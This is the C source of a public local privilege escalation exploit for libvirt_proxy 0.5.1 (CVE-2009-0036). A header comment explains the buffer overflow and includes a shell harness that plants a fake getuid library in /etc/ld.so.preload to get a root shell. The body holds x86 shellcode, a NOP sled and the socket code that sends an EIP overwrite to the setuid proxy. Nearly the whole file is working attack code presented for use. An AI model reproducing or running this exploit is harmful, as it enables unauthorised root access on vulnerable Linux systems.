/*
 * cve-2009-0036.c
 *
 * libvirt_proxy <= 0.5.1 Local Privilege Escalation Exploit
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0036
 *
 *   Buffer overflow in the proxyReadClientSocket function in
 *   proxy/libvirt_proxy.c in libvirt_proxy 0.5.1 might allow local users to
 *   gain privileges by sending a portion of the header of a virProxyPacket
 *   packet, and then sending the remainder of the packet with crafted values
 *   in the header, related to use of uninitialized memory in a validation
 *   check.
 *  
 * Usage:
 *
 *   We're guessing to hit our NOP sled, so this program should be run in a
 *   harness.  Since the shellcode will execute /tmp/run as root, the following
 *   harness will insert a malicious getuid.so payload in /etc/ld.so.preload.
 *
 *   #!/bin/sh
 *  
 *   echo "[+] compiling the exploit"
 *   gcc cve-2009-0036.c -o cve-2009-0036
 *  
 *   echo "[+] creating /tmp/getuid.so"
 *   echo "int getuid(){return 0;}" > /tmp/getuid.c
 *   gcc -shared /tmp/getuid.c -o /tmp/getuid.so
 *  
 *   echo "[+] setting up /tmp/run"
 *   echo -e "#!/bin/sh" > /tmp/run
 *   echo -e "touch /tmp/success" >> /tmp/run
 *   echo -e "echo \"/tmp/getuid.so\" > /etc/ld.so.preload" >> /tmp/run
 *   chmod +x /tmp/run
 *  
 *   echo "[+] starting exploit loop"
 *   i=0
 *   rm -f /tmp/success
 *   while [ ! -e "/tmp/success" ]
 *   do
 *           i=$(($i+1))
 *           echo "RUN NUMBER $i"
 *           ./cve-2009-0036
 *   done
 *  
 *   echo "[+] our getuid.so is now in ld.so.preload"
 *   echo "[+] running su to obtain root shell"
 *   su
 *
 * Notes:
 *
 *   Tested on Gentoo Linux 32-bit with GCC 4.3.3-r2 and randomize_va_space=1.
 *   We have a 4096 byte NOP sled before shellcode and EIP followed by 1000
 *   NOP/30 byte shellcode bundles until we cause a EFAULT in libvirt_proxy's
 *   read(2).  Our total sled is usually around 5k-10k NOPs so it'll take
 *   ~800-1600 tries on average to hit it and execute our shellcode.  Each run
 *   takes ~1 second, so exploitation will probably take 10-20 minutes on
 *   average.
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>

#define PROXY_PATH "/usr/libexec/libvirt_proxy"
#define PROXY_SOCKET_PATH "/tmp/livirt_proxy_conn"
#define PROXY_PROTO_VERSION 1
#define PROXY_PACKET_LENGTH 0xffff

/* simple shellcode to execute /tmp/run */
const char shellcode[]=
 "\x31\xdb"
 "\x8d\x43\x17"
 "\x99"
 "\xcd\x80"
 "\x31\xc9"
 "\x51"
 "\x68\x2f\x72\x75\x6e"
 "\x68\x2f\x74\x6d\x70"
 "\x8d\x41\x0b"
 "\x89\xe3"
 "\xcd\x80";

struct proxy_packet {
 uint16_t version;
 uint16_t command;
 uint16_t serial;
 uint16_t len;
};

int
main(int argc, char **argv)
{
 FILE *fp;
 long ptr;
 int i, fd, pid, ret;
        char *pkt, nop[65536];
 struct sockaddr_un addr;
 struct proxy_packet req;
 struct timeval tv;

 signal(SIGPIPE, SIG_IGN);

 /* guess a random offset to jmp to */
 gettimeofday(&tv, NULL);
 srand((tv.tv_sec ^ tv.tv_usec) ^ getpid());
 ptr = 0xbf000000 + (rand() & 0x00ffffff);

 /* fire up the setuid libvirt_proxy */
 pid = fork();
 if (pid == 0) {
  execl(PROXY_PATH, "libvirt_proxy", NULL);
 }

 memset(nop, '\x90', sizeof(nop));

 /* connect to libvirt_proxy's AF_UNIX socket */
 fd = socket(PF_UNIX, SOCK_STREAM, 0);
 if (fd < 0) {
  printf("[-] failed to create unix socket\n");
  return 1;
 }

 memset(&addr, 0, sizeof(addr));
 addr.sun_family = AF_UNIX;
 addr.sun_path[0] = '\0';
 strncpy(&addr.sun_path[1], PROXY_SOCKET_PATH, strlen(PROXY_SOCKET_PATH));

 printf("[+] connecting to libvirt_proxy\n");

 if (connect(fd, (struct sockaddr *) &addr, sizeof(addr)) < 0) {
  printf("[-] cant connect to libvirt_proxy socket\n");
  return 1;
 }

 /* transmit malicious payload to libvirt_proxy */
 pkt = (char *) &req;
 memset(&req, 0, sizeof(req));
 req.version = PROXY_PROTO_VERSION;
 req.len = PROXY_PACKET_LENGTH;

 printf("[+] sending initial packet header\n");
 send(fd, pkt, 7, 0);

 usleep(100000);

 printf("[+] sending corrupted length value\n");
 send(fd, pkt + 7, 1, 0);

 printf("[+] sending primary NOP sled\n");
 send(fd, nop, 4096, 0);

 printf("[+] sending primary shellcode\n");
 send(fd, shellcode, 28, 0);

 printf("[+] sending EIP overwrite (0x%lx)\n", ptr);
 send(fd, &ptr, 4, 0);

 usleep(100000);

 printf("[+] sending secondary NOP/shellcode bundles\n");
 for (i = 0; i < 100; ++i) {
  send(fd, nop, 1000, 0);
  send(fd, shellcode, 28, 0);
 }
 close(fd);

 usleep(800000);

 /* clean slate if our guessed addr failed */
 kill(pid, SIGKILL);

 return 0;
}